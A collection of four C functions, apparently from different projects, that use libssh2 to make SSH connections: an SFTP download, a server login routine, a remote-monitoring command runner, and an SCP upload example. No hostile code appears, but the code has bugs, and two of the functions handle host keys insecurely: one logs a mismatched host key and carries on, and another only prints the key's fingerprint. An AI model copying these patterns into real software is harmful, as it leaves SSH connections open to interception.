int main(int argc, char *argv[]) { int sock , i, auth_pw = 0, port = 22; struct sockaddr_in6 sin; const char *fingerprint; char *userauthlist; LIBSSH2_SESSION *session; int rc; LIBSSH2_SFTP *sftp_session; LIBSSH2_SFTP_HANDLE *sftp_handle; struct hostent *server; if (!strcmp(argv[1], "--help")) usage(); if (argc > 1) { inet_pton(AF_INET6,argv[1],sin.sin6_addr.s6_addr); } if (argc > 2) { port = atoi(argv[2]); } if (argc > 3) { username = argv[3]; } if (argc > 4) { password = argv[4]; } if (argc > 5) { sftppath = argv[5]; } if (argc > 6) { localpath = argv[6]; } sock = socket(AF_INET6, SOCK_STREAM, 0); server = gethostbyname2(argv[1],AF_INET6); if (server == NULL) { fprintf(stderr, "ERROR, no such host\n"); exit(0); } memset((char *) &sin, 0, sizeof(sin)); sin.sin6_flowinfo = 0; sin.sin6_family = AF_INET6; memmove((char *) &sin.sin6_addr.s6_addr, (char *) server->h_addr, server->h_length); sin.sin6_port = htons(port); if (connect(sock, (struct sockaddr *)(&sin), sizeof(struct sockaddr_in6)) != 0) { fprintf(stderr, "failed to connect!\n"); return -1; } session = libssh2_session_init(); if (!session) return -1; libssh2_session_set_blocking(session, 1); rc = libssh2_session_startup(session, sock); if (rc) { fprintf(stderr, "Failure establishing SSH session: %d\n", rc); return -1; } fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_MD5); userauthlist = libssh2_userauth_list(session, username, strlen(username)); if (strstr(userauthlist, "password") != NULL) { auth_pw |= 1; } if (strstr(userauthlist, "keyboard-interactive") != NULL) { auth_pw |= 2; } if (strstr(userauthlist, "publickey") != NULL) { auth_pw |= 4; } /* if we got an 4. argument we set this option if supported */ if (argc > 5) { if ((auth_pw & 1) && !strcasecmp(argv[5], "-p")) { auth_pw = 1; } if ((auth_pw & 2) && !strcasecmp(argv[5], "-i")) { auth_pw = 2; } if ((auth_pw & 4) && !strcasecmp(argv[5], "-k")) { auth_pw = 4; } } if (auth_pw & 1) { if (libssh2_userauth_password(session, username, password)) { return 1; goto shutdown; } } else if (auth_pw & 2) { if (libssh2_userauth_keyboard_interactive(session, username, &kbd_callback)) { return 1; goto shutdown; } } else if (auth_pw & 4) { if (libssh2_userauth_publickey_fromfile(session, username, keyfile1, keyfile2, password)) { printf("\tAuthentication by public key failed!\n"); return 1; goto shutdown; } } else { printf("No supported authentication methods found!\n"); return 1; goto shutdown; } sftp_session = libssh2_sftp_init(session); if (!sftp_session) { fprintf(stderr, "Unable to init SFTP session\n"); return 1; goto shutdown; } sftp_handle = libssh2_sftp_open(sftp_session, sftppath, LIBSSH2_FXF_READ, 0); if (!sftp_handle) { return 2; goto shutdown; } FILE *fp = fopen(localpath, "w"); if (fp) { char mem [1024]; do { rc = libssh2_sftp_read(sftp_handle, mem, sizeof(mem)); if (rc > 0) { fwrite(mem, rc, 1, fp); } else { break; } } while (1); fclose(fp); } libssh2_sftp_close(sftp_handle); libssh2_sftp_shutdown(sftp_session); shutdown: libssh2_session_disconnect(session, "Normal Shutdown, Thank you for playing"); libssh2_session_free(session); #ifdef WIN32 closesocket(sock); #else close(sock); #endif return 0; }
void* server_login(const char* host_name, const char* user_name, Boolean use_key, const char* password, const char* private_key, const char* public_key, const char* port) { struct addrinfo hints; struct addrinfo *res, *ai; int ec; int sock = -1; LIBSSH2_SESSION* session; SSH_SESSION* ssh_session; SSH_SESSION_PARAM* session_param; THREAD_PARAM* thread_param; memset(&hints, 0, sizeof(struct addrinfo)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_flags = 0; if(getaddrinfo(host_name, port, &hints, &res) != 0) { debug_log(SSH_TERMINAL_GETADDRINFO_ERROR, "server_login : login failed."); return NULL; } for(ai = res; ai != NULL; ai = ai->ai_next) { sock = socket(ai->ai_family, ai->ai_socktype, ai->ai_protocol); if(sock < 0) { debug_log(SSH_TERMINAL_SOCKET_ERROR, "server_login : login failed."); return NULL; } if(connect(sock, ai->ai_addr, ai->ai_addrlen) < 0) { close(sock); sock = -1; continue; } break; } freeaddrinfo(res); session = libssh2_session_init(); if(session == NULL) { close(sock); debug_log(SSH_TERMINAL_SESSION_INIT_ERROR, "server_login : login failed."); return NULL; } libssh2_session_set_blocking(session, 0); while((ec = libssh2_session_startup(session, sock)) == LIBSSH2_ERROR_EAGAIN) { ; } if(ec < 0) { libssh2_session_disconnect(session, "error"); libssh2_session_free(session); close(sock); debug_log(SSH_TERMINAL_SESSION_STARTUP_ERROR, "server_login : login failed."); return NULL; } if(use_key) { while((ec = libssh2_userauth_publickey_fromfile(session, user_name, public_key, private_key, password)) == LIBSSH2_ERROR_EAGAIN) { ; } if(ec < 0) { libssh2_session_disconnect(session, "error"); libssh2_session_free(session); close(sock); debug_log(SSH_TERMINAL_USERAUTH_ERROR, "server_login : publicckey userauth failed."); return NULL; } } else { while((ec = libssh2_userauth_password(session, user_name, password)) == LIBSSH2_ERROR_EAGAIN) { ; } if(ec < 0) { libssh2_session_disconnect(session, "error"); libssh2_session_free(session); close(sock); debug_log(SSH_TERMINAL_USERAUTH_ERROR, "server_login : password userauth failed."); return NULL; } } ssh_session = (SSH_SESSION*)malloc(sizeof(SSH_SESSION)); session_param = (SSH_SESSION_PARAM*)malloc(sizeof(SSH_SESSION_PARAM)); session_param->sock = sock; session_param->session = session; session_param->channel = NULL; session_param->login_flag = TRUE; session_param->async_mode = TRUE; session_param->channel_type = -1; thread_param = (THREAD_PARAM*)malloc(sizeof(THREAD_PARAM)); thread_param->exec_command_thread = NULL; thread_param->command_timer_thread = NULL; thread_param->command_queue_mutex = ori_thread_mutex_init(); thread_param->add_list_mutex = ori_thread_mutex_init(); thread_param->command_queue_condition = ori_thread_codition_init(); thread_param->add_list_condition = ori_thread_codition_init(); thread_param->exec_command_thread_flag = FALSE; thread_param->command_timer_thread_flag = FALSE; ssh_session->session_param = session_param; ssh_session->add_list = NULL; ssh_session->command_queue = NULL; ssh_session->thread_param = thread_param; return (void*)ssh_session; }
int execute_command(struct remote *rm) { /* Sets up the pthread functionality of gcrypt * libssh2 doesn't do this for us so we have to do it ourselves*/ gcry_control(GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread); openlog("remote-monitor-base",LOG_PID|LOG_CONS,LOG_USER); syslog(LOG_DEBUG,"Starting SSH execution on rm->hostname: %s with rm->username: %s and port: %d",rm->hostname,rm->username,rm->port); size_t len; int type; unsigned long hostaddress; int sock; const char *fingerprint; int bytecount = 0; struct sockaddr_in sin; LIBSSH2_SESSION *session; LIBSSH2_CHANNEL *channel; LIBSSH2_KNOWNHOSTS *nh; /* results stores the output from the commands after they're executed * Each command has a corresponding result so the results array is set to the same length as the commands array */ rm->results = malloc(rm->num_commands * sizeof(char*)); for(int i = 0; i < rm->num_commands; i++) rm->results[i] = malloc(2048 * sizeof(char)); /* Initialise libssh2 and check to see if it was initialized properly * libssh2_init isn't thread safe so we need to lock the thread while it executes*/ pthread_mutex_lock(&sshinit_lock); int rc = libssh2_init(0); pthread_mutex_unlock(&sshinit_lock); if(rc!=0) { syslog(LOG_ERR,"libssh2 initilization failed"); return 1; } /* Creates a socket connection to the specified host on the specified port */ hostaddress = inet_addr(rm->hostname); sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons(rm->port); sin.sin_addr.s_addr = hostaddress; /* Check to see if the connection was successful */ if(connect(sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in)) != 0) { syslog(LOG_ERR,"Failed to connect to %s on port %d", rm->hostname, rm->port); return 1; } /* Initialise the session and check for success */ session = libssh2_session_init(); if(!session) { syslog(LOG_ERR,"Error creating session on host %s", rm->hostname); return 1; } /* Disable blocking for this session */ libssh2_session_set_blocking(session,0); /* Start the session on the specified socket and check for success */ while( (rc = libssh2_session_startup(session,sock)) == LIBSSH2_ERROR_EAGAIN); if(rc) { syslog(LOG_ERR,"Failure establishing SSH session %d on host %s", rc, rm->hostname); goto error; } /* Get the current host key and check to see if it matches with any known hosts */ nh = libssh2_knownhost_init(session); if(!nh) { syslog(LOG_ERR,"Error while initialising known hosts collection on host %s",rm->hostname); goto error; } libssh2_knownhost_readfile(nh,"known_hosts",LIBSSH2_KNOWNHOST_FILE_OPENSSH); //libssh2_knownhost_writefile(nh,"dumpfile",LIBSSH2_KNOWNHOST_FILE_OPENSSH); fingerprint = libssh2_session_hostkey(session,&len,&type); if(fingerprint) { struct libssh2_knownhost *host; int check = libssh2_knownhost_checkp(nh,rm->hostname,rm->port,fingerprint,len ,LIBSSH2_KNOWNHOST_TYPE_PLAIN|LIBSSH2_KNOWNHOST_KEYENC_RAW,&host); if(check == LIBSSH2_KNOWNHOST_CHECK_MATCH) syslog(LOG_DEBUG,"Found matching host key for host %s",rm->hostname); else if(check == LIBSSH2_KNOWNHOST_CHECK_MISMATCH) syslog(LOG_ERR,"Host key was found but the key's didn't match for host %s",rm->hostname); //TODO Some sort of critical error will need to be generated here else if(check == LIBSSH2_KNOWNHOST_CHECK_NOTFOUND) syslog(LOG_ERR,"No host match was found for %s",rm->hostname); //TODO Have the ability to add the host key here else syslog(LOG_ERR,"There was a failure while attempting to match host keys for host %s",rm->hostname); } else { syslog(LOG_ERR,"Couldn't get host key for host: %s",rm->hostname); goto error; } libssh2_knownhost_free(nh); /* Authenticate with the specified rm->username and passwod and check for success */ // TODO Add ability to authenticate with a private key if( (strlen(rm->password)) != 0 ) { syslog(LOG_DEBUG,"Using rm->password authentication for host %s",rm->hostname); while( (rc = libssh2_userauth_password(session,rm->username,rm->password)) == LIBSSH2_ERROR_EAGAIN); if(rc) { syslog(LOG_ERR,"Authentication to host %s failed",rm->hostname); goto error; } } else if( ( (strlen(rm->publickey)) != 0 ) && ( ( strlen(rm->privatekey)) != 0) ) { syslog(LOG_DEBUG,"Using public key authentication for host %s",rm->hostname); while( (rc = libssh2_userauth_publickey_fromfile(session,rm->username,rm->publickey,rm->privatekey,NULL)) == LIBSSH2_ERROR_EAGAIN); switch(rc) { case 0: break; case LIBSSH2_ERROR_AUTHENTICATION_FAILED: syslog(LOG_ERR,"Authentication using the supplied key for host %s was not accepted",rm->hostname); goto error; case LIBSSH2_ERROR_PUBLICKEY_UNVERIFIED: syslog(LOG_ERR,"The rm->username/public key combination was invalid for host %s",rm->hostname); goto error; default: syslog(LOG_ERR,"Authentication to host %s failed",rm->hostname); goto error; } } /* Open a session for each command */ for(int i = 0; i < rm->num_commands; i++) { /* Open a channel on the current channel and check for success */ while( (channel = libssh2_channel_open_session(session)) == NULL && libssh2_session_last_error(session,NULL,NULL,0) == LIBSSH2_ERROR_EAGAIN) { waitsocket(sock,session); } if(channel == NULL) { syslog(LOG_ERR,"Error opening SSH channel on host %s",rm->hostname); asprintf(&(rm->results[i]),NULL); break; } /* Execute the command and check for success */ while( (rc = libssh2_channel_exec(channel,rm->commands[i])) == LIBSSH2_ERROR_EAGAIN) { waitsocket(sock,session); } if(rc!=0) { syslog(LOG_ERR,"Error while executing %s in channel on host %s",rm->commands[i],rm->hostname); asprintf(&(rm->results[i]),NULL); break; } /* Continuously read the returned stream and break once the stream has been read */ for(;;) { int rc; do { char buffer[2048]; rc = libssh2_channel_read(channel,buffer,sizeof(buffer)); if(rc > 0) { bytecount += rc; char *output; output = buffer; syslog(LOG_ERR,"Got output from command %s on host %s:%s",rm->commands[i],rm->hostname,output); /* Store the output in the results array */ asprintf(&(rm->results[i]),"%s",output); memset(buffer,0,2048); } } while(rc > 0); if(rc == LIBSSH2_ERROR_EAGAIN) { waitsocket(sock,session); } else break; } /* Close the channel and check for success */ while( (rc = libssh2_channel_close(channel)) == LIBSSH2_ERROR_EAGAIN) { waitsocket(sock,session); } if( (libssh2_channel_free(channel)) < 0) syslog(LOG_ERR,"Error while freeing channel on host %s",rm->hostname); channel = NULL; } shutdown: syslog(LOG_DEBUG,"Disconnecting SSH session for host %s",rm->hostname); libssh2_session_disconnect(session,"Normal SSH disconnection"); libssh2_session_free(session); close(sock); libssh2_exit(); closelog(); return 0; error: syslog(LOG_DEBUG,"Disconnection SSH session for host %s",rm->hostname); libssh2_session_disconnect(session,"Normal SSH disconnection"); libssh2_session_free(session); close(sock); libssh2_exit(); closelog(); return 1; }
int main(int argc, char *argv[]) { unsigned long hostaddr; int sock, i, auth_pw = 1; struct sockaddr_in sin; const char *fingerprint; LIBSSH2_SESSION *session; LIBSSH2_CHANNEL *channel; const char *username="******"; const char *password="******"; const char *loclfile="scp_write.c"; const char *scppath="/tmp/TEST"; FILE *local; int rc; #if defined(HAVE_IOCTLSOCKET) long flag = 1; #endif char mem[1024]; size_t nread; char *ptr; struct stat fileinfo; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(2,0), &wsadata); #endif if (argc > 1) { hostaddr = inet_addr(argv[1]); } else { hostaddr = htonl(0x7F000001); } if (argc > 2) { username = argv[2]; } if (argc > 3) { password = argv[3]; } if(argc > 4) { loclfile = argv[4]; } if (argc > 5) { scppath = argv[5]; } local = fopen(loclfile, "rb"); if (!local) { fprintf(stderr, "Can't local file %s\n", loclfile); goto shutdown; } stat(loclfile, &fileinfo); /* Ultra basic "connect to port 22 on localhost" * Your code is responsible for creating the socket establishing the * connection */ sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons(22); sin.sin_addr.s_addr = hostaddr; if (connect(sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in)) != 0) { fprintf(stderr, "failed to connect!\n"); return -1; } /* We set the socket non-blocking. We do it after the connect just to simplify the example code. */ #ifdef F_SETFL /* FIXME: this can/should be done in a more portable manner */ rc = fcntl(sock, F_GETFL, 0); fcntl(sock, F_SETFL, rc | O_NONBLOCK); #elif defined(HAVE_IOCTLSOCKET) ioctlsocket(sock, FIONBIO, &flag); #else #ifdef WIN32 u_long mode = 1; ioctlsocket (sock, FIONBIO, &mode); #else #error "add support for setting the socket non-blocking here" #endif #endif /* Create a session instance */ session = libssh2_session_init(); if(!session) return -1; /* Since we have set non-blocking, tell libssh2 we are non-blocking */ libssh2_session_set_blocking(session, 0); /* ... start it up. This will trade welcome banners, exchange keys, * and setup crypto, compression, and MAC layers */ while ((rc = libssh2_session_startup(session, sock)) == LIBSSH2_ERROR_EAGAIN); if(rc) { fprintf(stderr, "Failure establishing SSH session: %d\n", rc); return -1; } /* At this point we havn't yet authenticated. The first thing to do * is check the hostkey's fingerprint against our known hosts Your app * may have it hard coded, may go to a file, may present it to the * user, that's your call */ fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_MD5); fprintf(stderr, "Fingerprint: "); for(i = 0; i < 16; i++) { fprintf(stderr, "%02X ", (unsigned char)fingerprint[i]); } fprintf(stderr, "\n"); if (auth_pw) { /* We could authenticate via password */ while ((rc = libssh2_userauth_password(session, username, password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "Authentication by password failed.\n"); goto shutdown; } } else { /* Or by public key */ while ((rc = libssh2_userauth_publickey_fromfile(session, username, "/home/username/.ssh/id_rsa.pub", "/home/username/.ssh/id_rsa", password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "\tAuthentication by public key failed\n"); goto shutdown; } } /* Request a file via SCP */ do { channel = libssh2_scp_send(session, scppath, 0x1FF & fileinfo.st_mode, (unsigned long)fileinfo.st_size); if ((!channel) && (libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN)) { char *err_msg; libssh2_session_last_error(session, &err_msg, NULL, 0); fprintf(stderr, "%s\n", err_msg); goto shutdown; } } while (!channel); fprintf(stderr, "SCP session waiting to send file\n"); do { nread = fread(mem, 1, sizeof(mem), local); if (nread <= 0) { /* end of file */ break; } ptr = mem; do { /* write data in a loop until we block */ while ((rc = libssh2_channel_write(channel, ptr, nread)) == LIBSSH2_ERROR_EAGAIN); if (rc < 0) { fprintf(stderr, "ERROR %d\n", rc); } ptr += rc; nread -= rc; } while (nread > 0); } while (1); fprintf(stderr, "Sending EOF\n"); while (libssh2_channel_send_eof(channel) == LIBSSH2_ERROR_EAGAIN); fprintf(stderr, "Waiting for EOF\n"); while (libssh2_channel_wait_eof(channel) == LIBSSH2_ERROR_EAGAIN); fprintf(stderr, "Waiting for channel to close\n"); while (libssh2_channel_wait_closed(channel) == LIBSSH2_ERROR_EAGAIN); libssh2_channel_free(channel); channel = NULL; shutdown: while ((rc = libssh2_session_disconnect(session, "Normal Shutdown, Thank you for playing")) == LIBSSH2_ERROR_EAGAIN); libssh2_session_free(session); #ifdef WIN32 Sleep(1000); closesocket(sock); #else sleep(1); close(sock); #endif fprintf(stderr, "all done\n"); return 0; }